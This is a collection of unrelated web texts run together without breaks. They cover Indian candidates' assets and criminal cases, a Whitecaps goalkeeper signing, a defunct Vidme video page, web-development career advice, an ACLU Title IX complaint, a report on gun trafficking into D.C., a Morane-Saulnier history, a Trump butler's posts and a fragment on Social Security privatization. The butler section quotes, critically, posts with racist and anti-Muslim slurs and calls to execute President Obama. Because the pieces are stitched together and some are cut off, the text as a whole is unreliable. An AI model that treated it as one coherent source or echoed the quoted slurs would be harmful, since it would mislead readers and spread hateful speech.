Trinamool nominee and state Finance Minister Amit Kumar Mitra, contesting from Khardaha in the North 24-Parganas, heads the multi-millionaires’ list in the fourth phase with assets worth over Rs 11.74 crore. The average worth of assets held by 345 candidates in the fourth phase is Rs.50.02 lakh.
Of the 80 candidates in the third phase with criminal cases, 65 face serious charges of murder, rape, attempt to murder and kidnapping. Among them Trinamool has 20 candidates with criminal cases, followed by the Congress and the CPI(M) with 16 each and the BJP 15.
The first two phases of polls had witnessed stray incidents of violence, but largely passed off peacefully. Though the opposition alleged foul play and intimidation, the Election Commission called the polls peaceful. With several candidates wanted in criminal cases in fray in phases going forward, the fear of violence looms large.
VANCOUVER, BC – Vancouver Whitecaps FC announced today the acquisition of Danish goalkeeper David Ousted – pending receipt of his International Transfer Certificate and Visa. Per club policy, terms of the contract were not disclosed. Ousted will be introduced to the Vancouver media on Friday and will be eligible to play in Major League Soccer on July 9 when the international transfer window opens.
Whitecaps FC goalkeeper David Ousted
- Played 10 seasons in Denmark, including four seasons in top flight Superliga
- Earned 35 clean sheets in 103 matches for Randers FC over three seasons
- Helped Randers FC finish third in the 2012-13 Danish Superliga to qualify for the UEFA Europe League
- Made six appearances for Randers FC in the 2010-11 UEFA Europa League
“David is a solid goalkeeper with a commanding presence at the back,” said Whitecaps FC head coach Martin Rennie. “He’s been an outstanding performer in Denmark over the past couple of seasons and I’m delighted to welcome him to the club.”
A native of Greve, Denmark, Ousted joins Whitecaps FC following a successful 2012-13 season with Randers FC, backstopping his club to a third-place finish in the Danish Superliga, which earned them qualification to next year’s UEFA Europa League. The 6-foot-4 stopper made 39 total appearances in 2012-13, earning 14 clean sheets. Six of those appearances came in Randers’ run to the Danish Cup final, where they lost 1-0 to Esbjerg fB.
The rangy goalkeeper first joined Randers in 2010, when he made his debut in the UEFA Europa League in a 6-1 win against F91 Dudelange. Ousted went on to make 85 league appearances for the Horses and 103 appearances overall, with 35 clean sheets during his three seasons. During that time, Ousted led his side to promotion from the Danish 1st Division after finishing second in 2011-12 and then followed that success with last season’s third place finish in the top flight Danish Superliga.
The 28-year-old goalkeeper started his career with Danish giants Brondby IF in 2003 and remained there until 2006, with brief loan spells at lower division sides Nykøbing Falster Alliancen and Akademisk Boldklub. Following a short stint at Danish First Division side Hellerup IK in the 2006-07 season, Ousted joined SønderjyskE in 2007 and helped them earn promotion to the top flight in his first season with SE. Ousted made 62 appearances for the Haderslev based club.
Internationally, Ousted made one appearance with Denmark's U-19 national team and was also called into camp with his country's U-20 and U-21 national squads.
David Ousted
Pronunciation: oh-STE[d]
Position: Goalkeeper
Height: 6-04
Weight: 195 pounds
Date of Birth: February 1, 1985, in Greve, Denmark
Hometown: Greve, Denmark
Citizenship: Denmark
Status: International Player
Previous Club: Randers FC (Danish Superliga)
How Acquired: Free agent signing on June 20, 2013
This video was hosted on Vidme, which is no longer in operation. However, you might find this video at one of these links:
Video title:
Vidme - Getting Started and Verified
Upload date:
June 6 2017
Uploaded by:
Roamancing
Video description:
Here's how I got started on Vidme and verified in 4-days, checking off everything on the verification checklist before applying. While like many I initially groaned at the prospect of having to get verified, but quickly learned that the process was to my advantage on Vidme in helping me to become a part of the community. I am sure many of you have your own tips to getting started on Vidme. I'd love to hear about them, if you wish to share in the comments below. ------------------------- Here are the links mentioned in the video: - Vidme: https://vid.me/ - Vidme Verification: https://vid.me/verified - Vidme FAQs: https://vid.me/faq - Vidme Subreddit: https://www.reddit.com/r/vidme/ - Vidmeos Subreddit: https://www.reddit.com/r/vidmeos/ - #VidmeLove Subreddit: https://www.reddit.com/r/vidmelove/ - Trinding: https://trinding.com/ - @MutantPixel: https://vid.me/MutantPixel - @SpeedyGaming: https://vid.me/SpeedyGaming - @linktheinformer: https://vid.me/linktheinformer -------------------- For more Roamancing follow along with our adventures and antics at http://roamancing.com, and connect with us on twitter at https://twitter.com/Roamancing, on facebook at https://www.facebook.com/roamancing, and with me, Erica, on instagram at http://instagram.com/EricaHargreave. ----------------------- #Vidme #techtalk #techtips #socialmedia #verification #tutorial #tutorialforbeginners
Total views:
What You Can Accomplish
One summer may sound like no time at all but it won’t take you much longer than that to become versed in the basics of web development. Here’s what you can do:
learn the basics of HTML and CSS, well
get into PHP and MySQL with no prior knowledge of programming
set a blog up and put yourself on a journey toward GREATNESS!
knock a few projects out and build a portfolio.
Become A Web Developer
First, don’t dismiss the idea. You can become a web developer under 3 months, especially if you have no other obligations, or simply a part time job to worry about. Read my article on how to start being a web developer quickly and follow the steps. By the time school rolls around you should be able to create your own rudimentary custom Blog, spin up a WordPress theme, and build your own applications.
And it’s not hard. With programs like TeamTreeHouse and Lynda, you can get some visual help along the way. and a simple structure course. No, it won’t be like your everyday high school class or a university course, it will be BETTER.
Learning practical web development does not require years of study at a university. One summer is enough to get you started
My suggestion is always the following:
start with HTML/CSS, build some nice-looking sites
add some PHP and MySQL to make it dynamic
setup a hosting account and learn to use WordPress
start making your WordPress themes
Regardless of your opinion, fact is, learning web development this way either alongside your University/High School study or instead of going to a University, will make you MORE employable and give you a big head start because most entry-level jobs out there require experience. You should know why, and you should be prepared for it.
Setup A Blog and Read Other Blogs
Either before or after you become a web developer, start a blog to catalog your experience. If you’re doing this BEFORE you start coding, pick a free (non-self-hosted) platform like WordPress. No advanced coding required, and you can chronicle your advancements. Make sure you take screenshots so that you can, someday, compile a “throwback” and realize how far you’ve come.
After you learn some web development, buy a solid webhosting for just a few dollars a month and begin writing on it. It’s much easier to learn by teaching others, it’s why I started my blog and it helped me tremendously.
Blogging helps you reflect back on what you’ve learned, gain feedback, and teach others while you teach yourself.
After you’re done with that, start reading other blogs out there. Just search “web development blogs” and see what comes up. Start following people on twitter and get more involved. There are tons of blogs out there that will help you out as a newbie!
Start Doing Paid Work (and building a portfolio)
Let’s say you’re already through all the steps above, or you just know how to program already, it’s time to start getting paid work. When I wrote my criticism of going to a University for web development, my main reason was that work experience will get you ahead, far ahead of your peers. At least in the beginning. So this summer, don’t be shy and get out there and find work. You can easily do this instead of a part time job and you can also help fund your career this way (get cash for a new laptop, software, hosting etc.)
I tackled this topic a while ago but basically, start job hunting! To summarize, there are tons of places you can go to find [beginner] work:
Craigslist (if you’re in the US. Google local alternatives)
Freelancer.com
Directly contact companies in your area
Check out various communities and forums for work (reddit, forrst and others)
Paid work at the lowest level may not be the most rewarding (in terms of cash) but it’s your first stepping stone in making smart decisions about your development career
Here’s the thing, at the end of the day, you want to be as employable as possible by the time you get out of school or get into this field. This depends on a few major factors:
prior experience
ability to learn
portfolio
It’s a scary world out there, and it definitely pays to read up on the state of the industry, and how it treats developers. If you know how the system works, you can be smart about your choices when it comes to time and effort allotment
Get Better At What You Do
Past all of this, the best thing you can do is just get better. Ability to learn and grow is one of the biggest assets to a web developer. There is tons of advice out there, lots of places to get feedback, and lots of new avenues to explore as a programmer. The CS world is a big one, and even as a web developer, your skills can range from front-end to back-end, to system administration, and web design.
If you’re a student with a free summer, now’s your chance to come out on top. You can get out there and dazzle your new employers with years of prior experience and a formal education on top of that.
The one last piece of advice I have for you is not to get crazy caught up in coding. In my zen tips for a developer article, I discussed this. Coding is not a lifestyle, it’s a profession, an interest, a hobby, a passion, but being a programmer should not detract from the rest of your life. Keep that in mind.
Come Back To School Refreshed!
At the end of it, your summer will have prepared you with the knowledge of:
a work environment
how to cut through the academical and get to the practical
the whole development cycle of a basic website
programming as a profession rather than a book-learning environment.
The student, identified only as Gabrielle on the ACLU’s website, alleges that she began a lesbian relationship during her freshman year with the other, unidentified woman. The two women had been — and apparently remain — in the same academic program at Carnegie Mellon.
At some point, the relationship went south. There was a breakup. The complaint says the unnamed girlfriend then stalked Gabrielle and “became verbally and sexually abusive,” reports the Pittsburgh Post-Gazette.
The ACLU’s Title IX claim asserts that Carnegie Mellon professors and administrators didn’t do enough to prevent harassment by Gabrielle’s jilted ex-lover.
Officials at the famed bastion of engineering and fine arts did institute a “no contact agreement” between the two. They also ordered counseling for the lovelorn ex-flame.
The two women could still attend the same classes, though. Also, the complaint says, the stalking ex-girlfriend inconveniently moved in across the hall from Gabrielle during her sophomore year and undertook “screaming and sudden violent outbursts.”
“Almost a year later, finally ready to say what happened and hold her accountable, I filed a complaint against her through the university’s community standards process,” reads Gabrielle’s narration of events. “The campus police officer accused me of seeking revenge by making the report and questioned why I had been in the relationship if I was being so badly abused.”
The ACLU charges that officials at Carnegie Mellon should not ask such questions when there are harassment allegations.
“That sends a horrible message to our client, as well as to students generally,” said Sandra Park, a senior attorney for the ACLU’s Women’s Rights Project.
Park suggests that Gabrielle’s ex-girlfriend should have been suspended from school, particularly since both students share the same major.
Carnegie Mellon officials had no comment about the complaint other than to assure the Post-Gazette that the school “takes very seriously its obligations under Title IX and its commitment to provide a safe and secure environment.”
Title IX is a federal law intended to thwart sex discrimination in schools that receive federal funding.
Out on New York Avenue NE, on an access road less than a half mile from the D.C.-Maryland line, is a nondescript building that houses the Metropolitan Police Department’s Gun Recovery Unit.
Lieutenant Lashay Makal leads the 22-member unit. In July, she says, the GRU took 194 guns off the street, putting her staff on pace to blow past its five-year average of 300-plus guns recovered per year. Formed in October 2007, the unit, through July, has made 1,772 gun arrests and recovered 3,611 guns. Since 2014, it has recovered 53,572 rounds of ammunition, according to department stats.
The GRU’s philosophy, says Makal, is that every round they recover is a life they potentially saved. “It just takes one bullet,” she says, noting a recent case in which her detectives seized two handguns, two rifles, two high capacity “drum magazines,” and more than 200 rounds of assorted ammunition from one location. “Imagine the damage that can do.”
That’s not hard, given recent incidents. Two weeks ago, a stray bullet crossed the street and ended the life of 17-year-old, college-bound Jamahri Sydnor. She was driving less than a mile from her home in Brentwood when the bullet killed her. Earlier this summer a 1-year-old boy in Northeast survived after a neighborhood dice game turned violent and a bullet meant for someone else hit the baby. And just last week a stray bullet shattered the window of a Potomac Gardens apartment and hit the wall of the bedroom where Tyrasha Johnson’s 3-year-old slept.
Makal and her unit work tirelessly to get the machines that threaten District lives out of circulation. “Every day we’re trying to prevent as many violent crimes as we can,” she says. “We’re looking to close out crimes where guns are used. We want to improve the overall quality of life and make it safe for kids and grandmothers, grandfathers—the cornerstones of our society. We want to make tourists feel safe. I believe we are truly making a difference.”
It would be hard to argue with that. She and her unit are good at confiscating illegal guns and connecting them to illegal activity.
There is, however, a massive hole in their operation: The department rarely finds, or brings to justice, those who cross into D.C. with illegal guns and distribute them. The police department’s website claims that detectives in the unit “focus on identifying and apprehending illegal gun traffickers.” But for the most part, the department hasn’t lived up to that claim.
This failure to disrupt the supply chain calls to mind the evolution of drug enforcement. For years police arrested drug users and low-level dealers as if it would reduce the scourge of narcotics, until they realized that using those arrests not to imprison people but rather to build relationships and cases and work their way up to bigger targets was more effective than going after one dime-bag seller at a time.
Guns do not sell as easily in bulk, but once put to use they are more likely to kill. So the question nags: Who is responsible, say, for a gun stolen from a home in Maryland, or from a gun store in Florida, that is sold and then passed around in a D.C. neighborhood and perhaps used in a shooting? How did that gun make its way into D.C.?
“That’s the million-dollar question,” says Makal. “If we could figure that out, we’d be cooking with gas.”
Darrow Montgomery
To legally obtain a handgun in D.C., you have to buy it from a federally licensed dealer in another jurisdiction and have it shipped to the District’s only licensee who will facilitate a transaction, a man name Charles Sykes. He works out of an office in the gun registration unit at MPD’s headquarters and charges a fee to receive the gun and walk the purchaser through a registration process that is onerous and expensive relative to more gun-friendly jurisdictions. He is one of 29 federal firearms licensees in the District, and most of them are gun collectors.
Guns enter the illegal supply chain in a variety of ways: Straw purchases, where a person buys a gun from a licensed gun dealer on behalf of another person; gun show purchases, which in most states do not require background checks; gun store robberies, which are on the rise, law enforcers say; and burglaries of homes and cars, which is by far the most common way illegal guns change hands, according to the U.S. Bureau of Alcohol, Tobacco, Firearms and Explosives (commonly called ATF).
Comparing D.C.’s illegal gun supply to that of other cities is problematic. Among cities with a population between 600,000 and 700,000, in 2015 it ranked sixth with respect to total guns recovered at 1,465 guns, according to ATF data. But for most cities in this data set, the recovered guns came from their home states, whereas roughly half of the guns recovered in D.C. traced back to states along the Iron Pipeline, a 10-state gun smuggling corridor that follows I-95 from the Mid-Atlantic to Florida. About half of the firearms from the Iron Pipeline were traced to Virginia, which itself recovered 7,823 guns that year.
Because of its strict gun laws and proximity to states where guns are sold, D.C. is a magnet for black market sales. D.C.’s illicit gun customers also are getting younger. In 2015, the average age of possessors of recovered guns was 30, which was six years below the national average for states, and down from 39 the year before. In 2014, District law enforcers recovered one gun from a person under age 17. In 2015, they recovered 36 guns from youth under 17.
Ward 6 Councilmember Charles Allen, chair of the Committee on the Judiciary and Public Safety, gets it. “To what degree do we know how the guns get here, how can we disrupt that?” he says. “Folks tell me in confidence that the way you get your gun is a guy shows up with a trunk full of them and you pick one out. It’s obviously illegal, it’s obviously dangerous, we obviously want it to stop. But to what degree is that a lone guy with a trunk full of guns? I tend to believe that there’s not just that guy who’s got an idea to go sell some guns. I tend to believe there’s some coordinated efforts.”
Allen recognizes that the GRU is proud of every round of ammunition that it takes off the street. “I understand that every bullet is a potential link to saving a life, and that every gun is an opportunity to resolve a dispute with lethal force. But we don’t want [officers] on a hamster wheel, because a criminal is just going to go get another gun. We do want to find out where that other gun is coming from, so we can break up that cycle.”
Authorities have few stringent laws to work with. There is currently no federal anti-trafficking law, according to the Law Center to Prevent Gun Violence, though ATF maintains an office called the National Tracing Center to assist state and other federal agencies in discovering the origin stories of guns used in crimes. And attachments to U.S. Department of Justice’s appropriations bills since 2003, known as the “Tiahrt Amendments” after their sponsor, former U.S. Rep. Todd Tiahrt, a Republican from Kansas, prohibit ATF from releasing firearm trace data to city and state law enforcement agencies except in aggregate form. For major urban police departments, like MPD, the information gap contributes to making gun trafficking investigations costly, time-consuming and, by all appearances, sporadic.
Meanwhile, a patchwork of regulations from state to state leaves loopholes that gun traffickers are able to exploit. About a third of the states have laws against purchasing guns with an intent to traffic them. Such laws—which are on the books in California, Pennsylvania, Massachusetts, and Maryland—are among the most effective at reducing illegal gun flow. The remaining states’ laws are aimed at straw purchasers. Virginia, for example, punishes the person who solicits a straw purchase. Maryland punishes anyone who willingly engages in a straw purchase. D.C. has no explicit gun trafficking law.
A handful of states have established anti-gun trafficking programs. Connecticut has a task force designed to coordinate with in-state and out-of-state agencies to identify and prosecute traffickers. Maryland has a Cease Fire grant program that funds anti-trafficking activities. New York has established an interdiction program aimed at stopping guns from illegally entering the state. D.C. has a “Firearms Bounty Fund” that rewards tips that lead to the adjudication or conviction of a person engaged in illegal gun trafficking or a person who has committed a gun crime. Since that program began in 1994, MPD has issued $56,725 for gun tips and recovered 3,348 guns, according to MPD officials. Gun distribution arrests, however, appear absent from that tally.
That’s a lot of guns off the street, but not all. And from dubious origins to the neighborhoods of D.C., where just last Saturday night yet another child, age 8, was struck and injured by a stray bullet in Southeast, the path of the average illegal gun across the District line remains a mystery. “It’s a challenge to get on top of that and prevent these guns from getting inside the city,” Lt. Makal says.
Makal notes that, while her unit is always interested in gun trafficking leads, her counterparts in the Major Case Division would be the most likely to work with the feds to identify and investigate gun traffickers. But MPD officials declined to authorize a representative of that unit to answer City Paper’s questions, and officials in the Washington field office of the ATF also did not agree to an interview despite several requests. “We see guns trafficked and retrieved by locals but ATF doesn’t necessarily investigate those individual cases,” says one of several ATF spokespeople City Paper contacted for this story.
Darrow Montgomery
In Southwest D.C., near L’Enfant Plaza, stands a gleaming government building that serves as a virtual monument to the scientifically possible: The Consolidated Forensic Laboratory, home to the D.C. Department of Forensic Sciences and the Office of the Chief Medical Examiner.
On a recent Friday, Jonathan Pope, a veteran firearms examiner and manager of the firearms unit, escorts a City Paper reporter and photographer down a long, cool, bright hallway with polished gray floors and tan walls and into an office that houses the firearms testing lab.
Established in 2011 and operational in October 2012, DFS houses one of just a few major city forensic labs not under the direction of a law enforcement agency. It is an independent civilian agency that aims to use science and technology to support law enforcement and enhance public safety.
When a shooting occurs, the Department of Forensic Sciences dispatches crime scene scientists to collect any recovered guns or shell casings left behind with an eye toward processing the scene as quickly as possible. The department’s technicians have access to state of the art technology: alternate light sources across multiple bandwidths, 3D laser scanners, reconstructive software, chemical and physical developers for fingerprints, and biometric devices for fingerprint searches.
Once the scene is processed, recorded, and analyzed, the evidence comes to the forensics lab where the data is entered into the Laboratory Information Management System, Pope says. Scientists attempt to collect fingerprints and DNA, he says, and then send the gun to the firearms testing unit. Visitors to the unit—even detectives who come in as witnesses—must watch firing tests on a video screen that monitors a single-lane firing range and a ballistics water tank behind a door secured by an iris scanner. After testing the gun for function and operability, the cartridge casings are microscopically examined for suitability and the data from the analyzed casings is entered into the ATF’s National Integrated Ballistics Information Network.
ATF firearms examiners then use what is known as the Integrated Ballistic Identification System to match digital images of markings left on the outside of the cartridge casings against similar evidence gathered from other crime scenes.
“ATF conducts its analysis and generates a report that goes to the detectives on the case,” Pope says. If there is a match to another crime scene, “it becomes a NIBIN lead,” he says, noting that such leads result in further microscopic analysis of the physical evidence until there’s a direct NIBIN link, or hit. Once all of the data and physical evidence is gathered and processed, the gun is sent to the MPD’s evidence control branch for preservation and storage.
Since NIBIN launched in 1999, law enforcers have captured 2.8 million ballistics images and confirmed more than 74,000 NIBIN hits. “But the true performance metric of NIBIN is the successful arrest and prosecution of shooters,” ATF’s website states. “Violent crime investigations can go cold very quickly … Linking otherwise unassociated crimes gives investigators a better chance to identify and arrest shooters before they reoffend.”
NIBIN has been instrumental in closing gun cases and solving violent crimes, according to Pope, who lays out two unloaded guns. Both are models the GRU might recover on the street: a Glock 22 .40 Caliber handgun, and a Glock 17 9mm. Beside the guns, he places a pair of empty magazines—one that holds 17 rounds and one that holds 32 rounds—and motions to a box of rubber gloves before giving the okay to handle the guns.
The power of not just the weapons but the technology available to identify and trace them is lost on no one in this chilly, clinical setting. The challenge, once lab technicians and scientists have generated investigative leads, is for detectives to link the gun to suspects in a city surrounded by gun states with porous borders along a gun trafficking superhighway.
That challenge requires comparing notes with other agencies, says Pope, whose unit attends an inter-agency meeting every two weeks with the MPD, ATF, and the U.S. Attorney’s Office. Yet asked who sold or transferred these guns to whomever last used them, and by what means, Pope pauses only slightly and raises an eyebrow: “That’s a great question.”
Darrow Montgomery
Once in a while, Makal’s unit at MPD solves a case that looks like it might involve gun trafficking, but it’s hard to tell whether these are proactive investigations or incidental to a routine gun seizure. In June 2016, then-chief Cathy Lanier held a press conference to draw attention to some major gun seizures. Lanier was looking to blame the spike in homicides between 2014 and 2015, at least in part, on large capacity magazines and high caliber weapons. Earlier that week, The Washington Post reported that police had arrested three men from Newport News after finding a Tec-9 semiautomatic assault pistol and a .45 caliber handgun in the trunk of a car that was parked in Edgewood. Were they gun sellers, or just suspects in a gun crime?
Some cases are more explicit, but they are few and far between, and they suggest that gun trafficking cases can be a high-cost, low-reward proposition for the government. Last August, 27-year-old Lonnel Boyd pleaded guilty in federal court of conspiring to sell firearms without a license in D.C. According to the U.S. Attorney’s Office, which prosecuted the case, Boyd’s arrest followed a year-long investigation into a network of firearms traffickers in the D.C. area that required multiple confidential sources, wiretaps, and almost two dozen recorded drug buys. Yet the penalty was light: In November, Boyd was sentenced to time served.
In May, the U.S. Attorney charged 38-year-old Clark Calloway, a retired Marine who had been the subject of an undercover investigation, with purchasing and transporting a firearm—an AK-47—with intent to do harm to police officers. No one else connected with the sale of the illegal firearm has been charged.
Last month, federal prosecutors in Virginia brought a case against two D.C. men who allegedly used a U-Haul utility van in a gun store robbery in Chantilly that netted them 35 semi-automatic pistols. In 2015, that office also convicted a Waldorf man for his role in the illegal purchase of 12 guns, including one that was used in multiple shootings in D.C. And federal prosecutors in Virginia convicted a D.C. man in 2014 of using straw purchases to acquire an assault rifle and a semi-automatic pistol. He was sentenced to 78 months in prison and three years probation.
The U.S. Attorney’s Office for the District doesn’t claim much of a record when it comes to prosecuting gun traffickers. “Whenever a firearm case is presented, part of the screening function is a gun trace,” says Assistant U.S. Attorney Gilberto Guerrero, referring to the process of using a gun’s serial number to see if it has been involved with any crimes. “And if it’s a good charge, we typically ask law enforcement to follow up to determine, ‘how did [the gun] get here.’ But normally it’s ATF’s role to answer that. The challenge is to drill down further and build an investigation. We would like to be more aggressive.”
But even when law enforcers identify suspects who are in the business of selling illegal firearms, Guerrero says, “that doesn’t answer how the guns got here, though at least we can charge them with unlawful distribution of firearms in the District.” Most gun cases, he adds, are linked to drug trafficking. “Every once in awhile we see a self-contained [gun trafficking case], but not that often.”
For Tony Barksdale, retired deputy commissioner of operations for the Baltimore Police Department, it’s a matter of policing strategies and priorities. Years ago, Barksdale was in charge of a major gun effort, he says, in conjunction with ATF. “Everything was drugs, drugs, drugs at the time,” Barksdale says. “As with drugs, command staff was in love with gun seizures. But along the way, I realized that all those gun stats, all those weapons seized, just didn’t matter anymore.
“I see all those pictures from D.C., all those seizures, but you have to focus on proactive enforcement. You gotta set standards higher than seizures. Politicians have to ask more of law enforcement. There’s always a supply and demand issue. Like with drugs. An addict buys drugs. Do they have to go to jail? Why not climb higher to find the supplier? If I’m a carpenter, and you take away my hammer, am I still a carpenter? I’m gonna get me another hammer.”
Darrow Montgomery
Just over the District line, in District Heights, a large Craftsman-style house sits on an isolated lot with a gravel parking lot and entrance in the rear. A sign on the door reads, “Welcome to Realco, Outdoor World and Gun Hospital.” In 2007, MPD issued a report that ranked Realco as the number one source of crime guns seized in D.C. In 2010, a year-long Washington Post investigation found 86 guns sold by Realco that were linked to homicides during one 18-month period. From 1997-2008, the Post found, MPD and Prince George’s police seized more than 160 guns per year that Realco had sold, with its guns turning up at crime scenes almost twice as often as any other Maryland dealer that had 10 or more guns seized.
The article states that Realco cooperated fully with authorities, who found little if anything to suggest the shop was selling guns illegally, underscoring how difficult it is to detect straw purchases. Such cases are hard to prove, the article concluded, and such stores are rarely prosecuted due to bureaucracy, limited resources, and politics—and the Tiahrt Amendments.
Even though Realco was cleared by numerous inspections, the Post series “didn’t stop them from persecuting us and causing all sorts of trouble,” says the man behind the counter, who declines to give his name. (“I’ve found over the years that talking to the press is a way to get my ass bit off,” he says.)
Being a professional though, the gun seller walks me through the paperwork required to buy a gun and even pulls a couple guns out of the case for inspection: a Glock 19 Gen4 9mm with three 10-round magazines (“This one is very common,” he says) and a Smith & Wesson M&P Shield 9mm with two eight-round magazines.
His demonstration of the basic rules of gun safety and standard lesson on how to properly hold and fire a gun—in addition to a recent visit to a gun range in Virginia, which left this reporter startled by how easy it is to send bullets sailing past a target at 30 yards, even under controlled conditions—are in stark contrast to surveillance videos in the news of late. They show young men running out from behind cars, firing at other young men, also in motion, and hardly with a proper stance or firing mechanics.
Imagining how the suspects in those videos obtained their guns, compared to the hoops one must jump through at Realco in the relatively gun-friendly state of Maryland is frustrating for people in the communities touched by gun violence who are sick of excuses.
“I don’t know how guns are coming into the community, but it’s a serious issue law enforcement needs to get answers to,” says Ward 8 Councilmember Trayon White. “We are in Washington D.C. with more police and intelligence than anywhere in the world, so it baffles me how a young man who lacks education or money can easily get an automatic gun with an extended clip, but no one is accountable.”
White’s bafflement represents a piece of a larger puzzle for Dimitri Roberts, a former Chicago Police Department officer who serves as a law enforcement analyst for CNN and CBS. Roberts sees the work of specialized units such as the GRU as crucial but overburdened.
“Gun trafficking cases are resource-heavy, long-term investments,” he says. “Local law enforcement doesn’t have the budget and personnel for that investment. That’s why you don’t see us going after mid-level gun traffickers. Plus the burden of proof is too high. You have an ATF task force, but they’re strapped for resources too. We need to develop a trend in this country that places a lot of emphasis on these activities and the organizations engaged in these practices, then come up with the resources to offset the [gun lobby] and support federal and local law enforcers. And in this political, environment, it’s gonna be tough.
Aéroplanes Morane-Saulnier was a French aircraft manufacturing company formed in October 1911 by Raymond Saulnier (1881–1964) and the Morane brothers, Léon [1] (1885–1918) and Robert[2] (1886–1968). The company was taken over and diversified in the 1960s.
History [ edit ]
Model development [ edit ]
Morane-Saulnier's first product was the Model A, a development of a monoplane design produced by the Morane company (sometimes called Morane-Borel, from the brothers partnership with Gabriel Borel). Using a wing-warping mechanism for control, this was the type in which Jules Védrines won the Paris-Madrid race on May 26, 1911.
Léon Morane
1910:Robert and Léon Morane before takeoff in two-seat Bleriot XI . Both were nearly killed when the machine crashed shortly after. The brothers decided to start their own company afterward.
Morane-Saulnier's first commercially successful design was the Morane-Saulnier G, a wire-braced shoulder-wing monoplane with wing warping. This led to the development of a series of aircraft and was very successful in racing and setting records. The Type G was a 2-seater, and was reduced slightly in size to produce the Morane-Saulnier H, a single-seater, and was given a faired fuselage to produce the Morane-Saulnier N single-seat fighter. The Morane-Saulnier H was modified so that its wings were mounted parasol fashion, above the fuselage to afford the observer a better view, creating the Morane-Saulnier L. The L was then fitted with a faired fuselage as on the N and ailerons to make the Morane-Saulnier LA, which was then completely redesigned (though looking very similar) to make the Morane-Saulnier P which would be the basis for a whole family of aircraft developed in the '20s. The Type N was developed into the larger and more powerful Morane-Saulnier I and the very similar Morane-Saulnier V, but these were not successful, being too powerful and having inadequate controls. The V was then redesigned to create the Morane-Saulnier AC which substituted ailerons for wing warping and had a strut-braced wing. The AC was not particularly successful, in part because of poor field of view a shoulder-mounted wing produced, so the Morane-Saulnier AI was developed, in which the wing was raised above the fuselage. The AI lost out in the competition to the SPAD XIII but was built in limited numbers in case there was a problem with the SPAD; as it turned out it was the AI that suffered structural problems.
In parallel to the L the Morane-Saulnier BB was developed for the RFC, which was a Type P built as a biplane. Because the type 'BB' when pronounced in French sounds like Bebe (or baby), this became the type's nickname. Most of these types had no fixed fin, or horizontal stabilizer, with the result that they were not only very sensitive on the controls, but also could not even be flown hands off. One early pilot noted that if one left the aircraft to its own devices it would end up going upside down in the opposite direction. Despite this, many were used as trainers, including a great many that had their wings stripped so they couldn't fly, creating what was known as a Penguin.
The Type L has the distinction of being the first fighter aircraft used during World War I when one was fitted with a machine gun firing through the propeller, which was fitted with metal plates to deflect any bullets that struck it. This was flown with success by Roland Garros, who would later be considered to be the first French Ace. A similar system was fitted to the Type N pending the arrival of other machine guns, which made the system workable. While flying his modified Type L, Garros crashed on the German side of the lines and the wreckage was examined by Fokker just prior to Fokker producing a similar system.
After the war, Morane-Saulnier produced a number of designs for training and general aviation, but with the threat of war in the late thirties it once again turned to military aircraft. During the late 1920s and early 1930s, it produced a number of parasol wing fighters including the M.S.230 and M.S.315, but all were of limited performance and were relegated to training duties. Moraine-Saulnier had much more success with its dramatically modernized M.S.406, which was the French Air Force's most numerous fighter at the start of the war. Unfortunately, the 406 was advanced only for its introduction in 1935 and suffered terribly against the more modern Messerschmitt Bf 109s it faced in 1940.
During World War II, Morane-Saulnier was operated under German control and built a number of German types including the Fieseler Storch, known after the war as the Morane-Saulnier MS.500 Criquet. Morane-Saulnier also produced a number of trainer and civilian aircraft models, the best known of which was the successful "Rallye" series of four-seat STOL semi-aerobatic tourers (see picture above).
Morane-Saulnier was purchased by Potez on January 7, 1962 and became SEEMS, the Societe d'Exploitation des Etablissements Morane-Saulnier. In 1966 its civilian models were spun off to form SOCATA, the Societe de Construction d'Avions de Tourisme et d'Affaires, which was eventually purchased by Aérospatiale.
Development of gun synchronisation [ edit ]
The company and Saulnier himself had a significant role in the development of the concept of synchronising machine gun fire through an aircraft's propeller.[3]
Morane-Saulnier designs [ edit ]
Update, 5:35 p.m.: The Trump campaign has disavowed Senecal, but in a misleading way.
Trump spox re: butler: "He does not work at mar-a-Lago and hasn't in many years. We totally disavow and condemn these horrible statements." — Alexandra Jaffe (@ajjaffe) May 12, 2016
Senecal did reportedly retire from his position as butler in 2009, but he was identified as the Mar-a-Lago estate’s historian (and photographed on its grounds) in a March New York Times piece. Senecal also told Mother Jones that he makes money at the estate by giving tours.
Original post, 2:32 p.m.: Donald Trump’s longtime personal butler—who has worked for Trump for three decades and was personally appointed as the the in-house “historian” at Trump’s Palm Beach estate by Trump himself—believes President Obama should be executed for treason, he told Mother Jones in a story published Thursday. The magazine’s David Corn found a number of rants to this effect that the butler, Anthony Senecal, had posted on Facebook:
To all my friends on FB, just a short note to you on our pus headed “president” !!!! This character who I refer to as zero (0) should have been taken out by our military and shot as an enemy agent in his first term !!!!!
He confirmed to Mother Jones that he wrote the post and says he stands by it. “I wrote that. I believe that,” he said.
Here’s more from Senecal’s account:
Looks like that sleezey bastard zero (O) is trying to out maneuver Congress again, if the truth be known this prick needs to be hung for treason!!!
And:
[W]ith the last breath I draw I will help rid this America of the scum infested in its government–and if that means dragging that ball less dick head from the white mosque and hanging his scrawny ass from the portico–count me in !!!!!
And:
Our current ‘president’ is a rotten filthy muzzie !!!!!
And:
look at the number of goat screwing muzzies he is degrading our government with !!!!!
And:
only a FEW Negroes and josh earnest will even remember him.
Senecal also wrote that Hillary Clinton is a “lying bitch.”
Naturally, Ryan’s response to these revelations has been a hissy fit. The Center on Budget and Policy Priorities — which has always, in my experience, been impeccably honest and careful in its work — does the point by point rebuttal.
But I’d like to follow up on small but revealing point: Ryan’s claim that diverting a substantial share of payroll taxes receipts into individual accounts does not constitute partial privatization of Social Security You see, there’s a history here.
Back when the Cato Institute first began pushing for individual Social Security accounts, it called its push, well, The Project on Social Security Privatization. As the Bush administration got ready to make its privatization push, however, it became clear that “privatization” polled badly. So the project was renamed The Project on Social Security Choice. And Republicans began bristling at any suggestions that they were proposing privatization, calling that a slander. Really.
Wait, it gets better. Cato engaged in Orwellian tactics — deleting the term “privatization” from older web posts and even from records of old conferences. But they were sloppy; there were traces of the true history throughout. I don’t know if they’re still continuing the practice.
Heroin is not cool. Heroin is not fun. It’s the end of the road when you’ve finished all other forms of chemical escapism and just want to live in a never-ending circle of problems.
